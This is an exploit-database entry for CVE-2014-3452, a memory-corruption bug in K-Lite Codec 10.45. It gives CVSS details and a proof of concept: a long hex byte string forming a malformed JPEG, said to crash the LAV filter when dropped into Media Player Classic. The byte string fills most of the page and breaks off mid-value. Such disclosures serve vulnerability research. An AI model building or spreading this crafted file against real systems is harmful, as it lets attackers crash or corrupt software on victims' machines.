Home
Bugtraq
Full List
Only Bugs
Only Tricks
Only Exploits
Only Dorks
Only CVE
Only CWE
Fake Notes
Ranking
CVEMAP
Full List
Show Vendors
Show Products
CWE Dictionary
Check CVE Id
Check CWE Id
Search
Bugtraq
CVEMAP
By author
CVE Id
CWE Id
By vendors
By products
RSS
Bugtraq
CVEMAP
CVE Products
Bugs
Exploits
Dorks
More
cIFrex
Facebook
Twitter
Donate
About
Submit
K-Lite CODEC 10.45 Memory Corruption
2014.05.15
Credit:
Aryan Bayaninejad
Risk:
Medium
Local:
Yes
Remote:
No
CVE:
CVE-2014-3452
CWE:
CWE-119
CVSS Base Score:
4.3/10
Impact Subscore:
2.9/10
Exploitability Subscore:
8.6/10
Exploit range:
Remote
Attack complexity:
Medium
Authentication:
No required
Confidentiality impact:
None
Integrity impact:
None
Availability impact:
Partial
# Exploit Title: [k-lite Codec memory corruption in latest Version 10.45 ] # Date: [2014/05/12] # Exploit Author: [Aryan Bayaninejad] # Linkedin : [https://www.linkedin.com/profile/view?id=276969082] # Vendor Homepage: [www.k-litecodec.com] # Software Link: [ http://filehippo.com/download_klite_mega_codec/download/5d5a43f1ba3077f61abd35f382d7864a/ ] # Version: [Version 10.45 and prior to that] # Tested on: [Windows Xp Sp 3 x86 & Windows 7 sp1 x86] # CVE : [CVE-2014-3452] details: K-lite Codec latest version 10.45 suffers from an Exploitable memory corruption Vulnerability via a malformed .jpg file format when load K-Lite Codec Pack\Filters\LAV\avfilter-lav-4.dll. Note: For trigger this issue use of Drang and Drop in Media Player Classic. #This Poc is not Stable. Poc: value ="\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x02\x00\x00\x64\x00\x64\x00\x00\xFF\xDB\x00\x43\x00\x03\x02\x02\x02\x02\x02\x03\x02\x02\x03\x04\x03\x02\x03\x04\x05\x03\x03\x03\x03\x05\x05\x04\x04\x05\x04\x04\x05\x07\x05\xBD\x06\x06\x06\x05\x07\x07\x08\x08\x09\x08\x08\x07\x0B\x0B\x0C\x0C\x0B\x0B\x0C\x0C\x0C\x0C\x0C\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\xFF\xDB\x00\x43\x01\x03\x03\x03\x05\x05\x05\x0A\x07\x07\x0A\x0F\x0C\x0A\x0C\x0F\x12\x0E\x0E\x0E\x0E\x12\x11\x0E\x0E\x0E\x0E\x0E\x11\x11\x0E\x0E\x57\x0E\x0E\x0E\x11\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\x0E\xFF\xC2\x00\x11\x08\x00\x4B\x00\xC0\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1C\x00\x00\x00\x07\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x00\xFF\xC4\x00\x1B\x01\x00\x02\x03\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x04\x00\x01\x02\x05\x06\x07\xFF\xDA\x00\x0C\x03\x01\x00\x02\x10\x03\x10\x00\x00\x01\xAF\xF9\xED\x24\x4C\xFA\xAD\x55\xA2\xA6\x05\xFB\xDC\xF1\x73\xDF\x1B\xD9\x43\xD7\x21\x7E\xE3\x77\x73\x16\xD7\xED\x41\x5F\x3E\x72\x7D\x3B\xB0\xB7\x62\xB5\xB3\xC4\x78\x11\x23\x59\x2B\x81\x71\x4D\x42\xC8\x32\x7B\x50\xB2\x7B\x55\x14\xC4\x5D\x7A\x30\xB6\x1A\xA5\xEF\x10\xFD\xCD\xBF\x12\xA6\x6B\x3A\xEE\x7A\xB5\x37\x41\xD2\x42\xC7\x21\x23\xD8\x6A\x13\x5E\xD7\x7A\xC7\x91\xE7\x4A\x79\xC6\xC3\x18\xEA\x05\xC0\xB8\x12\x16\x4F\x6A\x8F\x2D\x89\x2C\x96\x35\x33\xA2\x55\x81\xAA\x0F\xA9\x77\x00\x8B\xCC\xB5\xA9\x6E\xF0\x8D\x87\xB6\xF5\x5C\x74\xAF\x4A\x9B\x8D\x59\x42\x5D\x65\x6E\x94\xD6\x35\x9E\x8F\xCD\xC4\x81\x74\x24\x34\x89\xEE\xBD\x51\x3B\x83\x22\x5A\xD0\x6C\x6B\x63\x4D\x4B\xA1\x2E\x5F\xC3\xBE\x73\xA9\x1B\x0B\xA5\xBD\xCA\xC8\x08\xA7\x6B\xE2\x70\xAA\xEE\xC5\x60\xD3\x63\xDB\xD1\x1B\x46\x03\xD7\x0D\x30\x1E\x93\xC6\xC0\x65\x1A\x0F\x8F\x74\x35\x65\x91\x3A\x8A\xD4\x21\x34\xDE\x0D\x33\xDB\x95\xF5\x2C\xCB\xB0\x8E\xF4\x61\x2C\x4D\x0C\xA6\xCE\x60\xD0\xC8\xB7\x64\x62\x70\xB8\x5D\xB0\xA5\xD3\x94\xBC\xE7\x0E\xF3\xE7\x52\x7A\xCE\x27\xB4\xA1\xBC\x3E\x8B\xCE\x52\x78\xFC\xC8\x0E\x4B\x66\xBA\x42\x4F\x54\x6C\xD4\x2E\x72\xB2\xFA\x72\x3B\x8E\xEB\x76\xE9\xEC\x80\xFB\x5D\xB9\x01\xD1\x05\x94\xCB\x17\x59\x66\xB8\x65\x57\x9E\x8C\xAF\xFD\x07\x06\xB2\xEA\xA4\x55\xA2\x71\x3B\xB7\xAE\x7F\x5E\xD4\x50\xC6\x33\xE4\xAB\xFC\x16\xBD\x21\xE4\x42\x5F\xAE\x8C\x1A\x12\x45\xC7\xAA\xC7\x44\xB1\x6F\x5B\x81\xE6\x70\x49\xEC\xFD\x37\x31\x72\x8B\xB6\x31\x38\x7E\x98\x4B\xA9\xCF\x97\xE9\x72\xA9\x9C\xAE\xB3\x46\x53\x47\x9C\xC2\xE1\x62\xF8\x91\x24\x38\x70\x97\x45\x90\x92\x04\xB4\xE5\xB8\xC6\x07\x51\xB9\x2C\x73\x1B\x86\xDE\x6A\x2F\x75\x72\xF4\x97\x99\x9E\xBB\x6B\x13\x8C\x3A\x68\xC9\x76\x39\x95\x25\x8B\x0A\xA3\xCC\xF1\x85\x87\x7A\x37\x51\x39\x0F\x1F\xD2\x6B\xC4\x74\xB7\x86\xB2\x7A\x5A\xF2\x9A\x6F\x45\x16\x13\x3D\x38\x16\xBD\x8B\x53\x10\xAD\xD0\xD4\xD4\xBB\x9B\xAF\xB1\x9E\x97\xCD\x70\x13\xEA\x57\x68\x4F\xCF\x4C\x44\x4B\x09\x45\x64\x65\x7D\x01\xD0\xD6\x7E\x75\xD9\x27\x26\x0F\x74\x9C\x84\x90\x25\x90\xD1\x03\xE0\xC0\x8E\x96\xD8\x12\x97\x92\x1F\xA3\x52\xDC\xBD\x68\xFE\x8B\x78\x2B\x02\xEF\x7A\xBE\x23\xEB\x73\xE8\xC3\xA9\x39\x94\xE8\xB7\xD6\xD5\x97\x6D\x6B\x5C\xDD\x37\xC0\xF5\x91\x41\x8F\x5C\x4E\xA0\x48\x9D\xCF\xFF\xC4\x00\x2B\x10\x1D\x01\x03\x03\x04\x00\x05\x04\x03\x01\x00\x00\x00\x00\x00\x00\x03\x01\x02\x04\x00\x05\x11\x06\x12\x13\x14\x15\x21\x22\x23\x24\x10\x31\x32\x33\x16\x34\x35\x41\xFF\xDA\x00\x08\x01\x01\x00\x01\x05\x02\x42\x7C\xF5\x92\xE5\x9A\x1E\x42\x4E\xFB\x4D\x13\xDE\x39\xC4\x92\x33\x5B\x7D\x66\x04\x27\xB8\x16\x29\x2C\x7C\xF5\x78\x9C\x2B\x8C\x4F\xEA\xDD\xAE\x0F\x8D\xA8\xD9\x38\x8C\x62\xF8\x7D\xE4\x24\x81\x30\x71\xB2\xEA\xDD\x8A\xCB\xB3\xB9\xD4\xAE\x7D\x6F\x75\x6F\xAD\xD5\x97\x25\x35\x9B\xE7\x0D\x11\x24\x0F\xD3\x25\xBE\x73\x59\xBB\xB5\x1E\x64\xC2\x5C\x23\x9B\x96\x1F\x0B\x03\x6B\x47\x8D\xAF\x5D\x39\xDA\xB9\xC6\x4C\x47\xD4\xB2\x9C\x3D\x51\x1A\x66\xD5\x63\x54\xC3\x94\x39\xD2\xE1\x19\x0A\x12\x6E\xCA\xAE\x2B\x72\xD6\x73\xF4\xCA\xFD\x32\xB8\xC2\xA4\xE6\xE5\x65\x23\x7E\x48\xDD\x89\xAE\x2E\x24\xDA\x59\xEE\x5A\xDE\x02\x46\x40\x95\x6D\x46\x03\x4A\xD9\x56\xF0\x8A\xE3\x1D\x31\x1F\x52\xB9\xBF\xC8\xF9\x9D\x1D\x61\xDC\x1C\x25\xB6\xDD\x58\x64\x97\x16\x34\xD1\x4B\x81\x22\x1D\x66\xBF\xED\x2A\xAA\x57\xA6\xB2\xD4\xAE\x4A\x54\xC4\xA0\xA2\xF6\x91\x17\xB2\x27\x3D\x25\xC5\x1B\x79\xAD\xB0\x88\xE8\xB1\x1C\x10\xDB\xE5\xCE\x4E\xAC\xB9\x9C\x30\xDE\xAF\x34\xF0\xFE\xAD\x5B\x97\xEA\x98\xA0\x94\x4A\xF0\xF9\x31\xE2\xC2\x94\xE0\xD4\x0B\xB6\xEA\x8D\x2C\x6F\x79\x61\xDB\xD5\xD2\x2C\x51\x4C\x15\x47\xA2\xF9\xD2\x7D\x1A\x95\xF7\x96\xCC\x24\x96\x23\x89\x26\x2B\x38\xCF\x6C\x10\x12\x9D\x70\x71\x6B\xB4\xBD\x47\x93\xD0\x10\x2B\x44\xF4\x6B\xAE\xC2\xFD\x5A\x9F\x09\xAA\x2D\x05\xE2\x02\x4D\x62\xB7\xBC\x32\xCB\x0C\xAD\xB5\x12\xE7\xB2\xA1\xDC\x79\x46\x42\xC9\x90\x97\xE0\xB4\x77\x2D\xA8\x94\xE4\xCA\x2A\x62\x92\x9A\xF5\x24\xC0\x8D\xDC\xF1\xDC\x88\x70\x35\x37\x18\xCD\x41\x58\xCF\xAD\xFC\x6C\x5F\xC1\xA8\x55\x86\xCD\x59\x7A\x09\xC5\xFA\xF5\x10\x50\x9A\x9C\x63\x44\x0C\x00\x20\x82\xD5\x89\x6F\x04\x87\x09\x94\x22\x2E\x61\x5F\x40\xC1\xD8\xAE\x7C\x97\x3B\xB9\x44\x47\xAE\x6B\x35\x8A\x56\xAE\x42\x8C\x6A\x03\x1C\xC2\x47\x73\x09\x11\x1D\x26\x23\x65\x23\x62\xC9\x40\xBA\xDB\x2D\x94\x4B\x54\x5C\x42\xF8\xE4\x2B\xF9\x6E\x63\xFD\x7A\x88\xCF\x6E\xA0\xB6\x5B\x19\x29\xB7\xF5\x2C\x0B\x7C\xF6\x46\x33\x4A\x4D\xF5\xCA\xF1\xD2\x3F\x7D\x43\x86\x78\x24\x72\xEF\xAD\xB4\xB4\x99\x5A\x5D\xDB\x84\x9F\x21\xBB\x7B\x01\x5C\x90\x47\x5E\xC4\x26\xF1\xC7\x44\x73\x6D\x52\x1A\xDC\x1B\xDB\xA2\x11\x93\x9E\x68\xE4\x0D\xC5\x9F\x81\xA4\x5B\x47\xAC\xA3\xDE\x74\xED\xBD\x97\x7B\xA1\x6E\xC0\x62\xAB\xD1\x7D\x6A\x08\xDC\xE5\xB2\x5A\x18\x23\x4A\x6B\xF7\xD2\xD7\x9D\x61\xD4\xD6\xAA\x53\x1A\x11\xC8\xCE\x64\xC5\xCB\x9D\x10\x41\x68\x80\xAD\x64\x64\x63\x56\xDD\x2B\xDB\x79\x3D\xD2\xB7\x8B\xB2\xBA\x7B\xB3\x35\x9F\x86\xA8\x12\xF8\xF1\x8E\xE6\x0E\x1C\x96\x21\x40\x3D\xD5\x1A\x33\xCE\xF7\xDB\xD6\x04\x72\x8D\xEB\x22\x49\xB9\x0E\x8A\xE5\xA4\x6D\x2E\x1B\x59\x75\x67\xC9\x31\xDC\x5C\x76\x61\x63\x11\x31\xC7\xE9\xF0\xE3\xE3\xC3\xEE\xC7\xCC\xBB\x7B\x13\xB1\xC0\xBB\x7C\x45\x9F\x8E\xAD\xFF\x00\x56\x47\x1F\x19\x76\xF1\xC7\xDB\x9D\x3B\xB7\xB5\x72\xDB\xE1\xF6\x9C\x6C\xD5\xDF\xCA\xBC\xA9\x71\x5E\x54\xBB\x6B\xFF\xC4\x00\x2C\x11\x00\x02\x02\x01\x03\x02\x04\x04\x07\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x10\x21\x12\x31\x13\x20\x22\x30\x05\x14\x41\x42\x23\x33\x51\x71\x91\xB1\xC1\xFF\xDA\x00\x08\x01\x03\x01\x01\x3F\x01\x1C\x84\x32\xD5\x98\xB4\x51\x44\xD6\xA1\x7E\x9F\xE9\xA9\x7C\x1A\x78\x66\xDE\x4F\xB7\x7D\x1C\xF1\x52\x14\xE2\xCB\x74\xCA\x68\xB7\x4E\xE1\x9F\x69\xEC\x89\x0C\x95\x71\xE9\xCE\x39\xC9\x6F\x26\x9E\xBE\x44\xB8\x1C\x76\xAA\x4F\xA1\x10\xC2\x04\x2D\x35\x51\x76\x55\xD3\xF5\x2C\xAD\xC5\xFB\x68\x92\x22\xF9\x25\x93\xC3\x52\xE1\xF7\x34\xBA\x59\xE1\xF1\xFB\x13\x58\x13\xDA\xA9\x2E\x92\x4C\x85\x98\x21\x2F\xA9\x6D\x70\xB5\x72\x6A\x74\xCE\x99\x63\xE8\x63\xD9\x46\x4C\x15\x69\xE5\x32\x9A\x23\x1E\x49\x4B\x0B\x82\xF7\xBD\x62\x4D\x9E\x19\x54\xB0\x42\x64\xA1\x09\xC3\xA6\x46\xBF\xE1\x5E\x04\xF3\x99\x63\xFA\x23\x74\xBE\xDF\x51\xA2\x95\xE7\x5B\x69\x34\xFD\x7D\xCE\x23\xC2\x27\x61\x2B\x59\x6F\x6D\xD7\x63\x48\xD2\x4C\x9D\x8B\x07\xCD\x24\xC8\x5C\x9F\x62\x16\x0D\x46\xC8\xE1\x9F\x13\xD1\xBD\x37\xAE\x06\x8E\xCE\xB8\xF9\x73\xB2\xDB\x4F\x25\xD3\xFC\x13\x98\xF2\x4E\xE8\x91\x9F\xA0\x79\x68\x44\xEB\xE9\x46\xAF\x5A\xF3\xD3\x13\xD5\x23\x4B\xAA\x9D\x7C\x32\xAB\xF2\xB8\x21\xAB\x46\xB6\xE5\x2A\x9A\x34\xB1\x69\x3F\x16\x31\xB2\xDA\x17\x61\x1E\x28\xED\x1D\x39\x79\xC9\x0F\xCB\xDF\xE7\x23\x1E\x19\xAE\xD7\x2F\xB4\xA1\x75\x4C\x4B\x03\x5C\x95\x5C\xE2\x85\xAB\x23\x7F\x5C\x4C\x79\xD7\x95\x90\x7E\x9D\xF5\xB9\xEA\x25\x54\xD9\x54\x65\x07\x91\x5B\x91\xF7\xDA\x56\xBC\xE0\xD2\xAF\x49\x3F\x71\x91\xEC\x3D\xAD\x7C\x88\x6B\x8D\xA4\xF0\xCB\x25\xCF\x04\x8A\x1F\xE1\xA1\xBF\x7A\xC1\x16\x77\x23\xDF\x7B\xF6\x65\x1D\xBC\xDF\xFF\xC4\x00\x2F\x11\x00\x02\x01\x02\x04\x05\x03\x03\x03\x05\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x11\x04\x12\x21\x31\x05\x10\x22\x32\x41\x13\x20\x51\x61\x71\xF0\x23\x24\x81\x30\x33\xB1\xC1\xD1\xFF\xDA\x00\x08\x01\x02\x01\x01\x3F\x01\x70\x79\x4F\x4F\x2C\x2F\x2D\x3E\x09\xCE\xD4\xAC\x99\x9E\x5E\x9E\xA5\x09\xB5\x28\xCB\xE1\x9C\x5E\xBD\xF0\x59\xE1\xAF\x4F\xF9\xD0\xE1\x72\xFD\xD4\x7E\xA8\xE2\x12\xB6\x19\xC5\x79\x30\xD1\xE8\x12\x1E\xE6\x26\x97\x55\xC4\xAC\x49\x46\x5B\x95\x29\xC9\x7D\x8B\x97\x2F\xCE\xE2\x2E\x5C\xAD\x34\xA1\xD2\x4E\x6E\x51\xB3\xD4\xBF\x48\xD5\xE2\x45\x74\x94\x6A\x35\x87\xCA\xEF\xAA\x38\x75\x0C\xB5\xA2\xFE\x87\x16\xC5\x4D\x49\x41\x33\x0C\xFA\x4C\xC3\xDC\xAA\xBA\x87\x12\x71\x19\x52\x3F\xD1\x7B\x16\xB4\x6E\x54\x6A\xC6\xB9\x0A\x70\xCC\x8C\x55\x7B\x52\xFA\xF8\x30\x58\x85\x42\xBC\xBE\xA6\x36\x14\x71\x16\x9A\xBE\x7F\x3F\x0D\x14\xAE\xB4\x22\xB5\xD4\x64\xD7\x51\x24\x4A\x23\x43\x47\xA4\xED\x73\x3A\xE7\x94\x7C\xEF\x74\x4B\xB0\x8F\x4B\xE1\xD1\x76\x56\xAD\x68\xC5\x23\xD1\x9C\xF5\x64\xAD\x7B\x89\x94\xA2\x25\xA9\x2D\xC9\xB2\xE4\xAC\x4A\x28\x68\xA7\x52\x50\x95\xD1\x85\x95\x1C\x4C\x7B\x63\x9B\xE2\xBF\xBF\xB7\x93\x88\x70\x3A\x5E\x3A\x3F\xDF\xF1\xF9\xF6\x2A\x53\x94\x1D\x9A\xB0\x9F\x27\xCA\x51\xE9\xB9\x28\x4B\x26\x84\xA3\xE9\xC1\x32\xBD\x47\x28\x22\x85\x1B\xC5\x36\x5D\xDA\xC5\x85\x14\x53\x64\x58\xF7\x1A\xD4\xAD\xB9\x08\x8B\x0D\x74\x4A\x83\x4C\x70\x62\x59\x25\x98\xE1\xF8\x95\x5F\xF4\xE7\xF9\xFF\x00\x3F\x83\x8E\xD3\x70\xC4\xDB\xE9\xF7\x13\xE4\xF9\x54\x51\xF4\xED\x2D\xCA\xF5\x16\x55\x94\x9D\x46\xD1\x3D\xD1\x4E\xCE\x9A\xB1\x18\xF2\x8D\x37\x72\x51\xEB\x2C\x32\xA4\xFE\x0B\x39\x18\x5C\x0A\x4B\x33\x21\x92\x0F\x53\x1D\x87\x84\xF5\x89\x38\x12\x83\x30\xD1\x6A\x68\xE3\xB5\xE1\x3A\xAA\xCF\xC7\xB6\xB5\x42\xE4\xBB\x47\x02\x95\xE1\x64\xCF\x56\x2B\xC8\xB1\x70\xF0\x47\x8A\x4B\x01\xA5\x99\xDF\x93\x23\x81\x93\x30\x7C\x3D\xB7\x76\x63\x2F\x4E\x90\xDE\x62\x73\x56\x27\x1B\x8F\x08\x71\x17\x2C\x3B\xCB\xE5\x8F\x57\xED\xA9\x15\x61\xA5\x96\xE3\xED\x1C\x62\x95\xE4\x62\x6B\x37\x25\x6D\x8A\xB5\x3A\x88\xBE\xA6\x61\xE9\xBB\xDD\x14\xB6\xE4\xCC\x0B\x4F\x56\x46\xBC\x20\xB4\x2B\xD7\x55\xA3\x62\xC8\x96\xC4\x56\xA5\x1C\x34\x77\x38\xEC\x94\xB1\x04\x57\xB6\xA2\xE9\x44\xA3\xD2\x4A\x11\x8C\x55\xCA\xCF\x36\xA5\x8B\x75\x94\x28\xF5\x49\xB2\x94\xD4\x60\xD2\x29\xEC\x5F\x94\x53\xF0\x4A\x44\x67\xA9\x07\xBD\xC7\x0C\xC5\x3A\x36\xDC\x47\x11\x4D\x62\x27\x7F\x91\x7B\x6A\x76\x14\xBB\x7C\x18\xAD\x91\x3D\x87\xE0\xA5\xDF\xE0\x95\xEC\xF7\x20\x52\xED\x10\xCA\x7D\xA3\xFC\xBF\x2F\x25\x12\x5B\x1E\x0E\x27\xFD\xE9\x7D\xC8\x8F\xD9\xFF\xC4\x00\x40\x10\x00\x02\x01\x02\x04\x02\x05\x09\x05\x07\x03\x05\x00\x00\x00\x00\x01\x02\x03\x00\x11\x04\x12\x21\x31\x13\x51\x05\x22\x32\x41\x71\x14\x23\x33\x52\x61\x81\x91\xA1\xB1\x10\x42\x72\x82\xC1\x20\x43\x62\x73\x92\xA2\xC2\x24\x34\xB2\x35\x44\x54\xD1\xE1\xFF\xDA\x00\x08\x01\x01\x00\x06\x3F\x02\x9F\x53\xD9\x4F\xD6\x9B\x84\x0B\x04\x8F\x21\xD6\xC3\x31\x6B\xD4\xCE\xE2\xDE\x6D\x06\x56\x37\xE7\x59\x53\x4F\x33\x76\xFE\xBA\x69\x81\x37\x54\x8D\xAD\xCE\xCC\x6B\xA5\xA4\x8D\xF4\x9B\x10\xBC\x3E\x65\x17\x84\xA4\x8F\x0A\x95\x2E\x47\x59\x9B\xE0\xF4\xF2\xB1\x37\x7F\x32\x3D\xA5\xCF\x75\x74\x36\x12\x44\x96\x18\xED\x29\x72\xE0\x65\x61\xC2\x3D\x96\x52\xC3\x4E\x46\xD5\x89\x8F\x31\xB2\xC2\xA4\x6A\xC7\x5A\x87\xF9\x6B\xF4\xAC\x71\xD2\xC2\x5D\xCF\xE0\x15\x1C\x92\x30\x92\x38\xFA\xC4\x81\x6B\xDB\x51\x9B\x7A\xE3\x62\x2E\x32\x03\x6E\xB6\x53\xAF\x7D\x1C\x5E\x47\xF2\x5B\xE5\xA4\x5C\x56\xA4\xD6\xE6\xBB\xFE\x35\xB9\xAD\xCF\xBE\xBF\xFB\x5D\xF5\xB9\x15\x7B\x9A\xC4\x89\x54\x5B\xAA\x42\x9B\x35\xBD\xF5\x38\x02\xC2\xD1\xFD\x0D\x4D\xF8\x63\xFD\x69\xF9\xF0\x53\xFE\x6D\x52\x6B\xFB\xA4\x3F\xDC\xD4\x30\x91\xB3\x8C\x32\x99\xC9\xCB\xD8\x31\xB8\x5B\x8D\xB9\x8A\xAE\x95\x49\x16\x96\xCE\x01\x20\x75\x8E\xE6\xB0\xB9\x7D\x30\x11\x12\x7B\xFA\xED\x7A\xE8\x69\x25\xEA\xC3\xD7\x67\xB7\x70\xE0\x35\xEB\x11\x8B\xC3\x63\xB0\x4F\x87\x78\x95\x40\x69\x72\xB7\x57\xD8\x45\x44\x3F\x81\x7E\x95\xD2\x57\xEC\x71\xFE\x8A\x28\x30\x1C\x4B\x9E\xC1\x6B\x29\xA6\x68\x0A\x79\x49\xD5\x11\xCD\xE3\xBF\xF1\x5A\x8C\x11\xC7\x16\x1C\x30\x17\x80\x36\x7D\xBB\x81\xD8\x51\x8D\xD0\xAB\xAE\xE0\xD6\xA3\x4A\xBF\xEC\x69\xF6\xCA\x54\xEE\x8B\xF5\x35\x37\x3B\x47\x7F\xE9\xA7\xD0\x01\xC2\x4F\xAB\x54\xA7\x94\x31\xFF\x00\xC9\xAA\x5E\xB6\xBC\x05\xB0\xE6\x49\x6B\x54\x8C\xC9\xA2\xFA\x53\xB1\x62\x6F\xA5\xEA\x28\x66\x99\xE0\x42\xAE\xD2\xF0\xD7\x88\x19\x40\xBC\x6B\xF1\xF0\xF1\xAF\xF5\x43\xCF\x2B\x43\xC1\x91\x4F\x55\xE2\x05\x45\xEC\x75\xAE\x8D\xC3\x31\xB2\xB2\x48\xA4\xFB\x0C\x2C\x3F\x5A\x75\x1D\x6B\xC2\x8C\x79\x8B\x92\x2D\xF2\xA8\x87\x24\x01\xA5\x74\x9A\x49\xA3\x1C\x43\xDB\xC2\xBB\xCC\x5C\xB9\x50\x2A\x7A\x87\xBC\x52\x87\xED\xED\x7F\xD6\xAD\x30\xEB\x6C\x92\x0E\xD2\xD1\x67\x19\xA0\x1F\xBE\x5E\xCE\xBC\xF9\x56\x9F\xB7\x26\xBA\xE5\x1F\x32\x6B\x10\x37\x36\x8F\xE8\x6A\x5B\x0D\x78\x69\xFE\x55\x89\x21\x73\x9F\x36\x9C\xB6\x5B\xFE\xB5\x88\x77\x04\xCB\xC4\xCB\xA6\xB6\x5C\xBA\x7C\x28\xCA\xE3\x86\xA0\xBD\xD9\xBB\xEC\xCD\xB5\x46\x14\x5B\x34\x5A\xB1\xF6\x8A\x55\x5D\xBC\xDE\xBE\x04\x57\x44\xCA\x06\x69\x9E\x17\x21\x41\x00\xFF\x00\xB7\x3A\xEB\x53\xB9\x04\x0E\x12\x1B\x1D\xED\x7A\x4F\xC2\x3E\x95\xD2\x8D\xDF\xE5\x2E\x3E\x1A\x53\x65\x57\x94\x01\xDD\xAD\xA9\x31\x65\x6D\x04\xBF\xDA\xDE\xDE\x55\x6B\xD6\x47\xDA\xAC\xA6\xC7\x9D\x1E\x2C\x38\x60\x64\xBD\xA5\x91\x14\x0C\xDF\xDB\x4A\xD8\x37\x11\x63\x5A\xF9\x70\xF9\x8C\x91\x31\xEE\x01\xCF\x3A\x2A\xC0\xA3\xAF\x55\x94\xEE\x08\xDC\x7E\xC5\xC5\x62\x3D\x81\x3F\x5A\xC4\x77\x31\xE1\xA8\xF7\x2D\xEA\x66\x3D\x80\x16\x3D\xED\xA8\xAC\x4E\x4E\x68\x2E\x75\xFB\xB7\xAC\x5E\x27\x16\x7C\xCA\x4E\x6C\x80\xEA\xCC\x15\x74\xF0\xA7\x5D\xA1\x0E\xF6\x03\x6E\xB1\xBD\x2A\xDF\x68\xED\xF2\xAC\xAC\x46\x9A\xFB\xC5\x74\x44\x85\xCC\xB9\xB0\xD2\x88\xC4\x80\x1C\x99\xA0\xCC\x6C\xDB\xDA\xFF\x00\x33\xC5\xC7\x6C\xB9\x70\xD1\x0B\xFA\xC7\x31\xD6\x93\xF0\x8A\xE9\x3B\xFF\x00\xBB\x49\xF5\xAC\xBB\x5E\xE6\x8D\xCF\x54\xF6\x81\xDB\xE1\x4C\xB0\xAD\xA3\x79\x08\x88\x2E\xBA\x13\xD5\xD2\xAD\x7E\xB5\x6F\x57\x0C\xC8\xDB\x66\x06\xC7\xDC\x45\x4F\xE5\x26\x29\x60\x31\xB3\x48\x63\x8C\x26\x30\x81\xBB\x2B\x2F\x55\xF2\x6F\x6D\x0D\x31\x5B\x95\x91\x23\x93\x39\xD3\x31\xCB\x66\x36\x3E\xD1\x5D\xAA\xDE\xDE\xDF\xB7\x12\x62\x36\x4B\xAA\x66\x65\xEF\x51\xAD\x62\x43\xD9\xC8\x2A\x76\xF5\x96\xA7\x53\xA0\xBA\x0B\x78\x2D\x62\x3F\x9B\xF5\x51\x58\xB5\x0D\xD6\x13\x66\xCB\xF9\x54\x56\x51\xDE\x49\xF8\xD0\x41\xD6\xB0\xB1\x26\xAD\x5D\x0D\xE4\xFE\x9F\xC9\x25\xE1\xDB\x7C\xFE\x4E\x2D\x52\xE1\xE4\x83\x08\xE4\x2A\xEB\x2C\x3D\x6F\x7E\xBD\xD4\xBE\x02\xBA\x4D\xCD\xED\xE5\x72\x5B\xE3\x4F\xD6\xD3\x29\xD8\xD2\xE2\x71\x06\xC5\x96\xEB\xC4\x19\x91\x73\x0D\xC8\x3B\xD1\x11\x23\x2F\x95\x39\x84\xE2\xE6\x39\x67\x8E\xDB\xA8\x50\x34\x0D\x48\x91\x8B\x04\x40\x87\xC4\x50\x22\xB8\x2E\x6C\xFB\x0F\x1A\x86\xEC\x32\x66\xEB\x7E\x0B\x1C\xDF\x2A\x84\x46\x6E\x63\x88\x23\x78\xFE\xCC\xAA\x43\x69\x34\x81\x7C\x2F\x58\x82\x34\x04\xA7\xC9\x2B\x12\x7B\x95\x94\x1F\xE8\xA9\xBD\xB2\x7F\x88\xA6\xC4\x42\xD6\x91\xA6\x7B\xFF\x00\x12\xDE\xD4\xD2\x24\x77\x44\xCC\xC5\xF4\xEE\xF6\xD2\x99\x72\x24\x6C\x50\x66\xCD\x73\x77\x36\xDA\x91\x15\x88\x25\xC2\x33\xE9\xDF\x5D\x05\x98\xFA\x18\x24\xB9\xEE\xEA\xC2\x35\xAC\x45\xC5\xB2\xAA\xAF\xF7\x5E\xF4\xBE\x02\xBA\x46\x35\x1F\xF7\x52\xEB\xF9\xA9\xF1\xB3\x33\xAA\xC6\xE6\x3C\x9E\xBC\x8B\xF7\x45\x45\xC5\x3E\x79\xA5\x59\x18\xEE\x01\x1A\xE5\xB7\x2A\x9F\xC9\x54\x85\x69\x04\x82\x59\x09\xD4\xE5\xD7\xA9\xDD\x4A\x54\xDC\x64\x1A\xFB\xAA\xFF\x00\x74\x6E\x28\x15\xEF\xE7\xA5\x24\xB3\xB2\x37\x15\x6E\x8B\x09\xCE\x32\xFB\x4D\x69\xF6\x6D\x5B\xD5\x85\x62\x3D\x93\x1D\x7C\x40\x35\x2A\xAF\x25\x6F\xA8\xAC\x4F\xF3\x7E\x88\x2B\x10\xB1\xE5\xB0\x7D\xDB\xF0\x8B\xED\x45\x57\x29\x2A\xF2\x03\x9B\xF8\x4D\x01\xEB\xC5\x98\xFE\x6A\x88\x7A\xD3\xC6\x3E\x1A\xFE\x95\x19\xB7\xA1\x95\x45\xCD\x74\x66\x1F\x09\x88\x19\x1B\x09\x38\x99\xE3\xB3\x32\x8E\x1A\x8B\x58\xED\x7A\x39\x7A\xCA\xD0\xA6\x7B\xEF\xDA\x3F\xFA\xA5\xF0\xAE\x91\x6E\x90\xB3\x61\xFC\xAE\x51\xD6\x19\x95\x4D\xFB\xC5\x4A\xB0\xCC\xEF\x91\xD9\xA1\x4C\xB7\x24\xBE\xE6\xFA\x50\x12\x22\xAA\xA7\x59\x7D\xBE\x35\x9A\x56\x2F\x61\x6B\xB5\x12\x3E\x5A\x52\x45\xDE\xE7\x28\xB7\x33\x46\x10\x6D\x8F\x0B\xC6\x87\x37\x59\x0A\xDF\x2B\xA1\x1C\xD4\xD2\xB7\x0F\x84\x42\xD9\xA2\xF5\x5A\xFA\xDB\xD9\xF6\xE9\x5E\xCA\xF6\x56\x29\x72\x93\xE7\x54\xF3\xFB\x82\xA4\x0B\xBE\x44\xFA\x9A\x9F\x9F\x1D\x75\xCF\xB8\x54\x9C\xF8\xCF\xEF\xD6\xA4\x36\xEA\x86\x98\xDF\xF3\x1A\x5